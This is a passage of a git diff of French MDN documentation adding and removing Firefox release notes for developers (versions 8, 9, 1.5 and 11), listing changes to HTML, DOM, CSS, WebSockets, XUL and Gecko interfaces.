  • Correction d'un bug empêchant la justification de la prise d'effet correcte lorsqu'elle est appliquée à la première ligne dans une zone element.contenteditable.
    • +
  • Correction d'un bug qui faisait que en appuyant sur Suppr ou Retour arrière au début d'une zone element.contenteditable affectait le bloc contenteditable précédent s'il était présent.
    • +
  • document.getSelection() renvoie désormais l'objet Selection identique à window.getSelection(), à la place de stringifying.
    • +
  • La propriété HTML5 selectionDirection permet de définir la direction de la sélection dans un texte éditable.
    • +
  • HTMLMediaElement a maintenant une propriété seekable qui retourne l'objet TimeRanges.
    • +
  • L'attribut .preload de HTMLMediaElement se reflète désormais comme une valeur énumérée.
    • +
  • Les propriétés crossOrigin sont par défaut defaults to "Anonyme" quand une valeur invalide est utilisée.
    • +
  • window.navigator.cookieEnabled renvoie désormais correctement l'information quand le paramètre de cookie par défaut est écrasé sur la base de chaque site.
    • +
+ +

JavaScript

+ +
    +
  • RegExp.exec() et RegExp.test() appelés sans arguments correspondent maintenant à la chaîne "undefined".
    • +
  • String.search() et String.match() appelés sans arguments ou undefined correspondent désormais à une chaîne vide et correspondent donc à chaque chaîne.
    • +
  • Le support des listes de surveillance a été implémenté avec les nouvelles mtéhodes (non standards) watch() et unwatch().
    • +
+ +

CSS

+ +
    +
  • resolution accepte désormais <number>, pas seulement des valeurs <integer> comme avec la spécification.
    • +
  • Les règles de césure ont été ajoutées pour de nombreuses nouvelles langues lors de l'utilisation de hyphens.
    • +
  • Le traitement de background-size a été revu pour mieux correspondre à la spécification.
    • +
  • Dans le passé, text-decoration en mode quirks avait l'épaisseur de ligne et la position ajustée sur le texte descendant pour correspondre à la descendance. Désormais le mode standard et le mode quirks ont un rendu plus proche.
    • +
  • Le positionnement horizontal des éléments est davantage conforme à la spécification dans beaucoup de cas. La documentation est à venir, mais pour l'instant, pour plus de détails voir le commentaire 23 du bug 682780.
    • +
  • Les images SVG sont désormais correctement mise à l'échelle lorsqu'elles sont utilisées comme images de fond.
    • +
+ +

Réseau

+ +
    +
  • Les doubles guillemets ne sont plus acceptés en tant que délimiteur pour l'encodage RFC 2231 ou RFC 5987, conformément à ces RFCs.
    • +
  • Le parseur MIME du champ d'en-tête (Content-Disposition) exige désormais "=" dans les paramètres.
    • +
  • Les scripts ne sont plus téléchargés lorsque JavaScript est désactivé.
    • +
  • SSL 2.0 n'est plus supporté.
    • +
+ +

WebSockets

+ +
    +
  • La méthode send() de l'objet WebSocket ne renvoie plus à tort une valeur booléenne.
    • +
  • La méthode close() de l'objet WebSocket correspond désormais à la version actuelle du standard, et les événements proches utilisent à présent correctement l'interface CloseEvent.
    • +
  • L'attribut extensions de l'objet WebSocket est à présent supporté.
    • +
  • Le constructeur WebSocket supporte désormais un ensemble de protocoles ainsi que la chaîne d'un seul protocole.
    • +
  • Le contenu mixte n'est pas autorisé avec WebSockets, vous ne pouvez plus établir une connexion vers un serveur WebSocket non sécurisé à partir d'un contenu sécurisé.
    • +
  • Les erreurs de connexion avec WebSockets déclenchent à présent le gestionnaire onerror.
    • +
  • L'API WebSocket a été mise à jour suivant la dernière version de la spécification (voir bug 674890, bug 674527 et bug 674716).
    • +
  • L'extension deflate-stream pour WebSockets a été désactivée, elle est obsolète et a cassée la compatibilité avec quelques sites.
    • +
+ +

WebGL

+ +
    +
  • Les textures Cross-domain sont à présent autorisées avec l'accord de CORS.
    • +
  • Le processus de rendu Cross avec Direct2D/Direct3D 10.
    • +
+ +

MathML

+ +
    +
  • le support de l'attribut displaystyle sur l'élément de premier niveau <math> a été ajouté.
    • +
  • L'interprétation de numéros de lignes négatifs pour l'attribut align de <mtable> a été corrigée.
    • +
+ +

Outils de développement

+ +
    +
  • L'objet console a une nouvelle méthode dir(), qui affiche une liste interactive des propriétés sur un objet spécifié.
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Voir Updating add-ons for Firefox 8 pour vous guidez dans les modifications que vous êtes susceptibles d'avoir à faire pour rendre vos extensions compatibles avec Firefox 8.

+ +
Note: Firefox 8 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
+ +

XPCOM

+ +
+
Components.utils
+
Les nouvelles méthodes Components.utils.createObjectIn() et Components.utils.makeObjectPropsNormal() ont été créées pour faciliter la création d'objets dans des compartiments spécifiques.
+
+ +

Autres changements relatifs à XPCOM

+ +
    +
  • Vous pouvez à présent demander des objets DOM File à partir d'éléments du code en faisant simplement un nouveau fichier, au lieu de devoir demander directement à nsIDOMFile.
    • +
  • Le type de tableau nsTPtrArray a été retiré. La fonctionnalité est désormais disponible sur tous les nsTArray, qui propose désormais la méthode SafeElementAt() lors d'une demande à l'aide d'un type de pointeur. Voir la section sur SafeElementAt() dans le guide des tableaux XPCOM pour plus de détails.
    • +
+ +

Workers

+ +

Il n'est plus possible d'accéder à des objets XPCOM depuis ChromeWorkers. XPConnect a été désactivé dans le contexte des travailleurs comme indiqué par le bug 649537.

+ +

XUL

+ + + +

Changements dans le système de compilation

+ +
    +
  • Les options de configuration de compilation suivantes ont été retirées : +
      +
    • --enable-timeline
      • +
    • --disable-storage
      • +
    • --necko-disk-cache
      • +
    +
    • +
  • Lors de la compilation des fichiers IDL aux en-têtes, le fichier d'en-tête jspubtd.h est automatiquement inclus lorsque c'est nécessaire. L'inclusion manuelle de jspubtd.h et/ou jsapi.h dans des fichiers IDL qui utilisent jsval ou [implicit_jscontext] n'est plus nécessaire.
    • +
+ +

Enregistrement du chrome

+ +
    +
  • L'indicateur platformversion peut être utilisé dans le chrome.manifest pour spécifier la compatibilité entre les versions de Gecko.
    • +
+ +

Changements dans les interfaces

+ +
    +
  • La méthode mozIJSSubScriptLoader.loadSubScript() charge désormais scripts à partir du cache de démarrage lorsque c'est possible.
    • +
  • L'attribut ownerWindow a été supprimé de l'interface nsIAccessNode.
    • +
  • L'interface nsIDOMStorageWindow a été fusionnée avec l'interface nsIDOMWindow.
    • +
  • Tous les membres de l'interface nsIDOMWindowInternal ont été déplacés dans l'interface nsIDOMWindow. L'interface (sans les membres) reste disponible pour la compatibilité jusqu'à Firefox 9.
    • +
  • Afin d'améliorer les performances, le rappel pour les mises à jour asynchrones des bases de données Places a été changé. Voir les nouvelles méthodes mozIVisitInfoCallback.handleResult() et mozIVisitInfoCallback.handleError(), qui remplacent l'ancienne unique méthode pour les erreurs et les conditions de succès.
    • +
  • L'attribut KIND_MAPPED de nsIMemoryReporter a été désapprouvé au profit de KIND_NONHEAP, de nouveaux types d'unités ont été ajoutées : UNITS_COUNT_CUMULATIVE et UNITS_PERCENTAGE.
    • +
  • L'interface nsIMemoryReporterManager a un nouvel attribut explicit, qui indique explicitement la taille totale des allocations de mémoire.
    • +
  • L'interface nsIMemoryReporterManager a un nouvel attribut resident, qui relève la quantité de mémoire physique utilisée.
    • +
  • L'interface nsINetworkLinkService a un nouvel attribut, linkType. Cet attribut indique le type de connexion réseau en cours d'utilisation. Tous les systèmes d'exploitation retournent actuellement LINK_TYPE_UNKNOWN. Le support d'Android a été gardé pour des raisons de sécurité.
    • +
  • L'interface nsISelection2 a été fusionnée avec l'interface nsISelectionPrivate.
    • +
  • L'interface nsISelection3 a été fusionnée avec l'interface nsISelection.
    • +
  • L'attribut state de nsISessionStartup est désormais de type jsval au lieu d'être une chaîne, pour des raisons de performance.
    • +
  • L'état de l'attribut isActive de (nsIDocShell) est désormais false pour les fenêtres minimisées.
    • +
  • La méthode nsIDownloadHistory.addDownload() enregistre désormais la cible de l'endroit où le téléchargement est sauvegardé, sur le système de fichiers local.
    • +
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

+ +
    +
  • nsITimelineService
    • +
  • nsIDOMHTMLIsIndexElement
    • +
+ +

L'interface nsIWorkerFactory a également été retirée. WLes travailleurs peuvent encore être créés à l'aide des constructeurs Worker et ChromeWorker.

+ +

Autres changements

+ +
    +
  • Quand une fenêtre est minimisée (non réduite), ou basculée entre le plein écran et le mode fenêtré, elle reçoit l'événement sizemodechange.
    • +
  • You can now la préférence extensions.autoDisableScopes pour désactiver l'installation automatique d'extensions sur un emplacement d'installation.
    • +
  • La nouvelle propriété document.mozSyntheticDocument des objets Document vous permet de déterminer si un document est synthétique (comme une image, une vidéo ou un fichier audio) plutôt qu'un document DOM standard. Cela peut être utile, par exemple, si vous voulez présenter une interface utilisateur différente dans cette situation (comme l'ajout d'éléments contextuels différemment selon le cas présent).
    • +
  • Vous pouvez désormais spécifier un filtre en ouvrant about:config ; par exemple, "about:config?filter=sessionstore" n'affichera que les préférences liées au stockage des sessions.
    • +
+ +

Voir également

+ +
+ +
diff --git a/files/fr/mozilla/firefox/releases/9/index.html b/files/fr/mozilla/firefox/releases/9/index.html new file mode 100644 index 0000000000..3ee33465b7 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/9/index.html @@ -0,0 +1,233 @@ +--- +title: Firefox 9 pour les développeurs +slug: Mozilla/Firefox/Versions/9 +tags: + - Firefox + - Firefox 9 +translation_of: Mozilla/Firefox/Releases/9 +--- +
+ +

Firefox 9, basé sur Gecko 9.0, est sorti le 20 décembre 2011 sur Windows. La version 9.0.1, qui corrige un problème de plantage découvert au dernier moment, est sortie le 21 décembre 2011, sur Mac et Linux.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'attribut value de <li> peut désormais être négatif comme c'est indiqué dans HTML5. Auparavant les valeurs négatives été converties à 0.
    • +
  • Vous pouvez désormais specifier le début et la fin du temps d'un média dans l'URI en utilisant les éléments <audio> et <video>.
    • +
  • Les éléments <input> et <textarea> respectent désormais la valeur de l'attribut lang lors de l'appel du correcteur orthographique.
    • +
  • Firefox sur Android permet désormais la prise de photo avec le téléphone sans devoir quitter le navigateur lorsque l'élément <input> est utilisé avec type="file" et accept="image/*".
    • +
  • Les images ICO de style PNG de Windows Vista sont à présent supportée.
    • +
  • Les images dessinées qui utilisent l'attribut crossorigin pour demander l'accès à CORS n'altère plus le canvas quand CORS est accordé.
    • +
  • La valeur de l'attribut rowspan peut désormais aller jusqu'à 65 534, contre 8190 avant.
    • +
+ +

CSS

+ +
    +
  • La propriété font-stretch est à présent supportée.
    • +
  • La propriété columns est à présent supportée, avec le préfixe -moz. C'est un raccourci des propriétés suivantes : column-width et column-count.
    • +
  • Quand une feuille de style incluse à l'aide de l'élément <link> a été entièrement chargée et analysée (mais pas encore appliquée au document), l'load event est désormais déclenché. En outre, si une erreur survient durant le traitement d'une feuille de style, l'événement error est déclenché.
    • +
  • Vous pouvez à présent spécifier les paramètres de débordement pour les bords, à la fois à gauche et à droite, du contenu en utilisant une nouvelle syntaxe de deux valeurs pour text-overflow.
    • +
+ +

DOM

+ +
+
Utilisation du mode plein écran
+
La nouvelle API pour le plein écran offre un moyen de présenter le contenu en utilisant la totalité de l'écran, sans l'interface du navigateur. C'est très bien pour les vidéos et les jeux. Cette API est encore expérimentale et préfixée.
+
+ +
    +
  • La méthode Node.contains() est désormais implémentée, elle vous permet de déterminer si un nœud donné est un descendant d'un autre noeud.
    • +
  • L'attribut Node.parentElement a été implémenté, cela renvoie l'Element parent d'un noeud DOM, ou null si le parent n'est pas un élément.
    • +
  • Les évènements de composition du DOM Level 3 sont à présent supportés.
    • +
  • L'attribut Document.scripts a été implémenté, il renvoie HTMLCollection de tous les éléments <script> du document.
    • +
  • la méthode Document.queryCommandSupported() a été implémentée.
    • +
  • L'ensemble des événements qui peuvent être écoutés sur les éléments <body> a été révisé pour correspondre à la dernière version de la spécification HTML5. La liste des événements dans la référence d'événements DOM reflète ceux qui peuvent être écoutés sur les <body>.
    • +
  • L'évènement readystatechange est désormais uniquement tiré sur le document, comme prévu.
    • +
  • Les gestionnaires d'événements sont désormais implémentés comme des interfaces IDL standard. Dans la plupart des cas, cela n'affectera pas le contenu, mais il y a des exceptions.
    • +
  • Un nouveau type de réponse, "moz-json", a été ajouté à XMLHttpRequest, laissant XMLHttpRequest analyser automatiquement les chaînes JSON, quand vous demandez ce type, une chaîne JSON est analysé, afin que la valeur de la propriété response est la résultante de l'objet JavaScript.
    • +
  • Les évènements "progress" de XMLHttpRequest sont à présent correctement envoyé pour chaque bloc de données reçu, dans le passé il était possible pour que le dernier bloc de données reçu ne déclenche pas un évènement "progress". Maintenant, vous pouvez suivre uniquement la progression des évènements "progress", au lieu d'avoir également à surveiller les évènements "load" pour détecter la réception du dernier bloc de données.
    • +
  • Dans le passé, l'appel de addEventListener() avec un écouteur null renvoyait une exception. maintenant il ne retourne plus d'erreur et est sans effet.
    • +
  • La nouvelle propriété navigator.doNotTrack permet à votre contenu de déterminer facilement si l'utilisateur a activé la préférence do-no-track, si la valeur est "oui", vous ne devez pas suivre l'utilisateur.
    • +
  • Les objets Range et Selection se comportent désormais selon leurs spécifications lorsque splitText() et normalize() sont appelés.
    • +
  • La valeur de Node.ownerDocument pour les noeuds de doctype est désormais le document sur lequel createDocumentType() a été appelé pour créer le noeud, au lieu de null.
    • +
  • window.navigator.taintEnabled a été retiré, il n'est plus supporté depuis plusieurs années.
    • +
+ +

Workers

+ +
    +
  • Les workers implémentés dans les URLs blob étaient cassés sous Firefox 8, et sont de nouveaux disponibles à partir de Firefox 9.
    • +
+ +

WebGL

+ +
    +
  • Dans le cadre de WebGL les attributs drawingBufferWidth et drawingBufferHeight sont à présent supportés.
    • +
+ +

MathML

+ +
    +
  • La valeur non-standard restyle pour les attributs actiontype des éléments <maction> a été retirée.
    • +
  • Alors qu'il n'était pas encore supporté, l'utilisation de l'élément <mlabeledtr> ne casse plus complètement le rendu. Voir le bug 689641 pour l'avancement du support de cet élément.
    • +
+ +

Réseau

+ +
    +
  • Vous pouvez désormais envoyer le contenu de tableaux JavaScript typés (c'est, le contenu d'un objet ArrayBuffer) en utilisant XMLHttpRequest.
    • +
  • Les connexions WebSocket permettent désormais des non-caractères autres que UTF-8 des trames de données devant être reçues, au lieu d'échouer.
    • +
  • L'en-tête HTTP Accept pour les réquêtes XSLT a été changée pour "*/*" pour simplifier. Puisque l'extraction d'XSLT est toujours retombée à "* / *", il était logique de faire la simplification.
    • +
  • Les tentatives faites par un serveur pour utiliser les codes de réponses 301 Moved Permanently ou 307 Temporary Redirect pour rediriger l'utilisateur vers une URI javascript: donne désormais lieu à l'erreur "connexion incorrecte" au lieu de vraiment rediriger. Cela évite certaines attaques de type cross-site scripting.
    • +
  • Le contenu servi par Content-Disposition vide avait déjà été traité comme si Content-Disposition était attachment", ce qui ne fonctionnait pas toujours comme prévu. C'est désormais traité comme si Content-Disposition était "inline".
    • +
  • La taille maximale par défaut d'un élément dans le cache disque a été augmentée à 50 Mo, auparavant, seuls les éléments jusqu'à 5 Mo étaient mis en cache.
    • +
+ +

Outils de développement

+ + + +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Voir Updating add-ons for Firefox 9 pour un aperçu des modifications que vous devriez apporter pour rendre vos extensions compatibles avec Firefox 9.

+ +

XUL

+ +
    +
  • L'élément tab dispose à présent d'un attribut pending, dont la valeur est true, lorsque l'onglet est en train d'être rétabli par le service de sauvegarde de session. Il peut être utilisé pour le style de l'onglet dans les thèmes. L'attribut n'est pas présent sur les onglets qui ne sont pas en attente.
    • +
  • L'élément tab dispose à présent d'un attribut unread, dont la valeur est true, lorsque l'onglet a changé depuis la dernière fois qu'il était actif ou si il n'a pas été sélectionné depuis que la session en cours a commencé. L'attribut n'est pas présent sur les onglets qui ne sont pas lus.
    • +
  • Vous pouvez désormais utiliser panel comme une image glissée pour les opérations DOM de glisser-déposer. Cela vous permet d'utiliser l'API standard drag & drop pour glisser et déposer du contenu XUL.
    • +
  • La méthode appendNotification de l'élément notificationbox vous permet désormais de spécifier un rappel qui est appelé pour des événements intéressants liés à la zone de notification. Actuellement, le seul événement est "removed", qui vous indique la zone qui a été retirée de sa fenêtre.
    • +
+ +

Changements dans le module de code JavaScript

+ +
    +
  • FileUtils.jsm dispose désormais du constructeur File qui renvoie l'objet nsIFile représentant un fichier spécifié par son chemin d'accès.
    • +
+ +

Changement dans le service

+ + + +

NSPR

+ +
    +
  • NSPR dispose désormais d'un module "append", qui vous permet d'ajouter de nouvelles données à la fin d'un journal existant.
    • +
+ +

Changements dans les interfaces

+ +

Interface supprimée

+ +
    +
  • nsIGlobalHistory3 a été enlevée lors de la réduction de Places et du code DocShell.
    • +
+ +

Divers changements dans les interfaces

+ +
    +
  • L'interface nsISound a une nouvelle constante EVENT_EDITOR_MAX_LEN. Elle permet de lire le son du système quand plus de caractères que le maximum autorisé sont entrés dans un champ de texte. Actuellement, ce n'est utilisé que sous Windows.
    • +
  • L'interface nsIScriptError2 a de nouvelles propriétés, timeStamp et innerWindowID ; en plus, la méthode initWithWindowID() prend désormais un ID de fenêtre intérieure au lieu d'un ID de fenêtre extérieure.
    • +
  • L'attribut nsIBidiKeyboard.haveBidiKeyboards a été ajouté, il vous permet de vérifier que le système a au moins un clavier installé dans chaque sens : de gauche à droite ou de droite à gauche.
    • +
  • Le nouvel attribut nsIEditor.isSelectionEditable vous permet de déterminer si l'ancre de sélection en cours est modifiable. Cela permet de supporter les cas où seules certaines parties du document sont modifiables, en vous permettant de voir si la sélection actuelle est dans une partie modifiable.
    • +
  • Les méthodes nsIBrowserHistory.registerOpenPage() et nsIBrowserHistory.unregisterOpenPage() ont été supprimées dans le cadre d'une refonte des performances dans le système Places. A la place, vous pouvez utiliser les méthodes correspondantes de mozIPlacesAutoComplete.
    • +
  • La méthode nsIDOMWindowUtils.wrapDOMFile() a été ajoutée, elle retourne un objet DOM File pour un nsIFile donné.
    • +
  • La méthode nsIChromeFrameMessageManager.removeDelayedFrameScript() a été ajouté pour supporter la suppression des scripts de chargement différé. Les extensions amorcées doivent l'utilisée, lors de l'arrêt, pour éliminer tous les scripts chargés à l'aide de nsIChromeFrameMessageManager.loadFrameScript() avec l'indicateur de charge différé. Cela expose des extensions comme browser.messageManager.removeDelayedFrameScript().
    • +
  • L'interface nsIAppStartup a un nouvel attribut interrupted, qui vous permet de savoir si la procédure de démarrage a été interrompue à tout moment par une commande interactive invitée. Cela peut être utile, par exemple, lors de la synchronisation du démarrage pendant l'évaluation des performances, pour être en mesure de déposer le nombre de sessions qui ont été interrompues.
    • +
  • L'interface nsIEditorSpellCheck a été revue pour supporter le choix des sites de dictionnaires pour la vérification orthographique.
    • +
+ +

Parseur IDL

+ +

Le parseur IDL ne supporte plus la notion de pointeurs unique qui n'a jamais été entièrement implémentée.

+ +

Changements dans le système de compilation

+ +
    +
  • L'option --enable-application=standalone pour la compilation autonome d'XPConnect a été retirée, elle n'a pas été utilisée depuis 2007.
    • +
  • Le support de la compilation autonome de Necko et Transformiix XSLT a été retiré, vous ne pouvez plus utilisez --enable-application=network ou --enable-application=content/xslt.
    • +
  • Le système de compilation cherche désormais .mozconfig à $topsrcdir/.mozconfig ou $topsrcdir/mozconfig, et pas ailleurs, sauf si vous remplacez le chemin .mozconfig en utilisant la variable d'environnement MOZCONFIG.
    • +
  • L'utilitaire xpidl a été remplacé dans le SDK avec pyxpidl.
    • +
+ +

Autres changements

+ +
    +
  • Le correcteur orthographique n'a plus la limite de 130 caractères sur la longueur des mots à vérifier. Cette limite était précédemment en place pour éviter les plantages qui sont survenus dans le correcteur orthographique, mais les bogues sous-jacents ont depuis été corrigés.
    • +
  • Vous pouvez désormais enregistrer des composants pour ajouter des fonctionnalités à l'objet window.navigator à l'aide de la catégorie "JavaScript-navigator-property". Voir Ajout des APIs de l'objet navigator pour plus de détails et des exemples.
    • +
+ +

Voir également

+ +
+ +
diff --git a/files/fr/mozilla/firefox/releases/index.html b/files/fr/mozilla/firefox/releases/index.html new file mode 100644 index 0000000000..711c761192 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/index.html @@ -0,0 +1,13 @@ +--- +title: Notes de version Firefox pour développeurs +slug: Mozilla/Firefox/Versions +tags: + - Firefox + - TopicStub +translation_of: Mozilla/Firefox/Releases +--- +
{{FirefoxSidebar}}
+ +

Cette page regroupe les liens vers les articles « Firefox X pour les développeurs » pour chacune des versions de Firefox. Ces notes vous permettent de connaître quelles fonctions ont été ajoutées et les bogues éliminées à chacune des versions de Firefox.

+ +
{{ListSubpages("",1,0,1)}}
diff --git a/files/fr/mozilla/firefox/versions/1.5/index.html b/files/fr/mozilla/firefox/versions/1.5/index.html deleted file mode 100644 index 84f17d122f..0000000000 --- a/files/fr/mozilla/firefox/versions/1.5/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Firefox 1.5 pour les développeurs -slug: Mozilla/Firefox/Versions/1.5 -tags: - - Firefox - - Firefox 1.5 -translation_of: Mozilla/Firefox/Releases/1.5 ---- -
{{FirefoxSidebar}}

Firefox 1.5, basé sur le moteur Gecko 1.8, améliore son support des standards déjà de premier ordre et fournit de nouvelles opportunités de créer la prochaine génération d'applications Web. Firefox 1.5 propose un support amélioré de CSS2 et CSS3, des API pour des graphiques 2D scriptables et programmables grâce à SVG 1.1 et <canvas>, les évènements XForms et XML, ainsi que de nombreuses améliorations du DHTML, du JavaScript et du DOM.

- -

Outils pour développeurs

- -

Plusieurs outils et extensions sont disponibles pour aider les développeurs à travailler avec Firefox 1.5.

- - - -

Note : Certaines extensions ne sont pas encore supportées par Firefox 1.5 et seront automatiquement désactivées.

- -

Fonctionnalités

- -

Voici certaines des nouvelles fonctionnalités de Firefox 1.5 :

- -

Site Web et développeurs d'applications

- -
-
Introduction à SVG dans HTML
-
Apprenez à utiliser le SVG dans des pages XHTML et comment JavaScript et CSS sont utilisés pour manipuler une image comme vous le feriez avec le XHTML dans un script. Voir également SVG dans Firefox pour connaître l'état et les problèmes connus de l'implémentation du SVG dans la version 1.5.
-
- -
-
Dessiner avec canvas
-
Apprenez à utiliser la nouvelle balise <canvas> et comment dessiner des graphiques et d'autres objets dans Firefox.
-
- -
-
Colonnes CSS3
-
Apprenez à utiliser le nouveau support de mise en page multi-colonnes automatiques comme proposé par CSS3.
-
- -
-
Utilisation du cache de Firefox 1.5
-
Découvrez bfcache et comment il accélère la navigation en arrière et en avant.
-
- -

XUL et développeurs d'extension

- -
-
Construire une extension
-
Ce tutoriel vous guidera par étape dans la création d'une extension très simple pour Firefox. Consultez également un autre tutoriel sur la base de connaissance de MozillaZine qui montre comment il est encore plus simple de créer une nouvelle extension avec les nouvelles fonctionnalités du gestionnaire d'extensions dans 1.5.
-
- -
-
XPCNativeWrapper
-
XPCNativeWrapper est un moyen pour empaqueter un objet afin qu'il puisse accéder à des privilèges chrome. Il peut être utilisé dans toutes les versions de Firefox bien que son comportement soit sensiblement différent au lancement de Firefox 1.5 (Gecko 1.8).
-
- -
-
Système de préférences
-
Apprenez à utiliser les nouveaux composants graphiques qui vous permettront de créer des fenêtres d'options plus facilement en utilisant moins de code JavaScript.
-
- -
-
Caractères internationaux dans du JavaScript XUL
-
Les fichiers JavaScript XUL peuvent maintenant contenir des caractères non-ASCII.
-
- -
-
Modifications de l'API Tree
-
Les interfaces pour accéder aux éléments XUL <tree> ont été modifiées.
-
- -
-
Modifications XUL pour Firefox 1.5
-
Résumé des modifications du XUL. Consultez également Adaptation des applications XUL pour Firefox 1.5.
-
- -

Nouvelles fonctionnalités pour l'utilisateur

- -

Utilisation courante

- -
    -
  • Navigation plus rapide avec une performance accrue des boutons permettant de reculer ou d'avancer d'une page.
    • -
  • Réorganisation des onglets par glisser-déposer.
    • -
  • Le dictionnaire MediaDICO a été ajouté à la liste des moteurs de recherche.
    • -
  • Une meilleure prise en main avec des pages d'erreur descriptives, un menu d'options redessiné, la découverte automatique des fils RSS et un « mode sans échec » plus facile à utiliser.
    • -
  • Meilleur support de l'accessibilité, notamment pour les pages DHTML.
    • -
  • Assistant pour les sites Web non fonctionnels pour rapporter les sites Web qui ne fonctionnent pas avec Firefox.
    • -
  • Meilleur support de Mac OS X (10.2 et supérieur), avec la migration des profils de Safari et d'Internet Explorer pour Mac.
    • -
- -

Sécurité et vie privée

- -
    -
  • Mises à jour automatiques pour rationaliser les mises à niveau du navigateur. La notification d'une mise à jour est plus visible et les mises à jour de Firefox n'excèdent plus le demi méga-octet. La mise à jour des extensions a également été améliorée.
    • -
  • Améliorations du système de blocage de l'ouverture intempestive de fenêtres (popups).
    • -
  • La fonctionnalité d'effacement des traces offre un accès simplifié et rapide pour supprimer toutes vos données personnelles via un menu ou un raccourci clavier.
    • -
- -

Support des standards Web ouverts

- -

Le support des standards Web de Firefox garde une longueur d'avance avec des implémentations fonctionnelles et multiplateformes pour :

- - - -

Firefox 1.5 supporte un bon nombre de protocoles de transport de données (HTTP, FTP, SSL, TLS et d'autres), les caractères multi-langages (Unicode), plusieurs formats graphiques (GIF, JPEG, PNG, SVG et d'autres) et la dernière version du langage de script le plus populaire au monde, JavaScript 1.6.

- -

Changements depuis Firefox 1.0

- -

De nombreux changements ont été introduits dans Firefox depuis sa première sortie le 9 novembre 2004. Firefox a progressé avec beaucoup de nouvelles fonctions et de corrections de bogues. Une liste détaillée des modifications est disponible sur squarefree.com.

diff --git a/files/fr/mozilla/firefox/versions/11/index.html b/files/fr/mozilla/firefox/versions/11/index.html deleted file mode 100644 index bc1d161fbd..0000000000 --- a/files/fr/mozilla/firefox/versions/11/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Firefox 11 pour les développeurs -slug: Mozilla/Firefox/Versions/11 -tags: - - Firefox - - Firefox 11 -translation_of: Mozilla/Firefox/Releases/11 ---- -
{{FirefoxSidebar}}

Firefox 11, basé sur Gecko 11.0, est sorti le 13 mars 2012. Cet article fournit des informations sur les nouvelles fonctionnalités et les principaux bugs corrigés, ainsi que des liens vers une documentation plus détaillée pour les développeurs web et d'extensions.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • Les attributs muted et loop pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} ont été implémentés.
    • -
- -

DOM

- -
    -
  • La propriété {{domxref("element.outerHTML")}} supporte maintenant les éléments HTML.
    • -
  • XMLHttpRequest supporte l'analyse HTML.
    • -
  • Suppression du support des attributs responseType et withCredentials {{domxref("XMLHttpRequest")}} lors de requêtes synchrones. Si vous tentez de le faire l'exception NS_ERROR_DOM_INVALID_ACCESS_ERR est envoyée. Ce changement a été proposé au W3C pour être normalisé.
    • -
  • la nouvelle méthode {{domxref("window.navigator.mozVibrate()")}} vous permet de faire vibrer le périphérique supporté, c'est implémenté dans Gecko en tant que mozVibrate().
    • -
  • {{domxref("window.navigator.mozApps")}} retourne un objet Apps, vous pouvez l'utiliser pour installer et gérer des applications Web ouvertes.
    • -
  • Les évènements MozBeforePaint ne sont plus exploités. Ceux qui ont utilisé {{domxref("window.requestAnimationFrame", "mozRequestAnimationFrame()")}} devraient transmettre une fonction de rappel à la place.
    • -
  • La prise en charge de l'annulation des demandes d'animation de trame a été ajouté, {{domxref("window.requestAnimationFrame", "window.mozRequestAnimationFrame()")}} retourne désormais la valeur ID de la demande, que vous pouvez passer à {{domxref("window.cancelAnimationFrame", "window.mozCancelAnimationFrame()")}} pour annuler la demande.
    • -
  • Plusieurs constructeurs {{domxref("Event")}} (Event, HTML events, UIEvent et MouseEvent) introduits dans les spécifications DOM4 sont à présent supportés.
    • -
  • {{domxref("window.navigator.mozBattery", "Battery API")}} est désormais activée par défaut.
    • -
  • Le support des propriétés defaultMuted, loop et muted de HTMLMediaElement a été ajouté.
    • -
  • L'appel {{domxref("document.mozCancelFullScreen()")}} restaure à présent l'élément précédemment en plein-écran, si un autre élément était en mode plein-écran lorsque la méthode {{domxref("element.mozRequestFullScreen()")}} a été appelée.
    • -
  • La méthode {{domxref("window.requestAnimationFrame", "window.mozRequestAnimationFrame()")}} ne supporte plus une forme sans argument. Cela n'est pas beaucoup utilisé et il est peu probable que ça fasse partie de la norme.
    • -
  • Les images SVG peuvent à présent être dessinées dans un canvas sans entacher le canvas.
    • -
  • La propriété non-standard countryCode de l'interface GeoPositionAddress a été supprimée, voir {{interface("nsIDOMGeoPositionAddress")}}.
    • -
  • Les évènements Server-sent supportent désormais CORS.
    • -
  • Dans le passé, lorsque l'utilisateur suivait un lien, les valeurs définies sur l'objet {{domxref("window.navigator")}} été retenus par la nouvelle page. Maintenant un nouvel objet navigator est crée pour la nouvelle page. Cela rend le comportement de Firefox identique aux autres navigateurs.
    • -
- -

CSS

- - - -

SVG

- -
    -
  • L'interface DOM {{domxref("SVGSVGElement")}} supporte désormais la méthode getElementById.
    • -
- -

WebSocket

- -
    -
  • L'API WebSocket supporte désormais les messages binaires (voir {{bug("676439")}}).
    • -
  • Le protocole et l'API ont été mis à jour suivant la dernière version de la spécification et l'API n'a plus de préfixe (voir {{bug("666349")}} et {{bug("695635")}}).
    • -
  • Auparavant, les messages envoyés et reçus à l'aide de WebSockets dans Firefox été limités à 16 Mo en taille, désormais ils peuvent aller jusqu'à 2 Go (bien que les limitations de capacité de mémoire peut les empêcher d'être plus grand, Firefox le supporte).
    • -
- -

IndexedDB

- -
    -
  • Le support de IDBFactory.cmp() a été ajouté.
    • -
  • Une clé IndexedDB peut également être de l'un des types suivants : Date, Arrays et Float (et pas seulement String et Integer).
    • -
- -

Réseau

- -
    -
  • La modification dans Firefox 8 concernant la suppression des guillemets comme délimiteurs pour {{rfc(2231)}} et {{rfc(5987)}} a été annulée, car cela a cassé certains sites, y compris Outlook Web Access.
    • -
- -

Outils de développement

- - - -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Module de code JavaScript

- -

NetUtil.jsm

- -
    -
  • readInputStreamToString() a un nouveau paramètre (optionnel) à configurer pour l'interprétation du jeu de caractères lors de la lecture du flux d'entrée.
    • -
- -

Nouveau module de code JavaScript

- -
-
source-editor.jsm
-
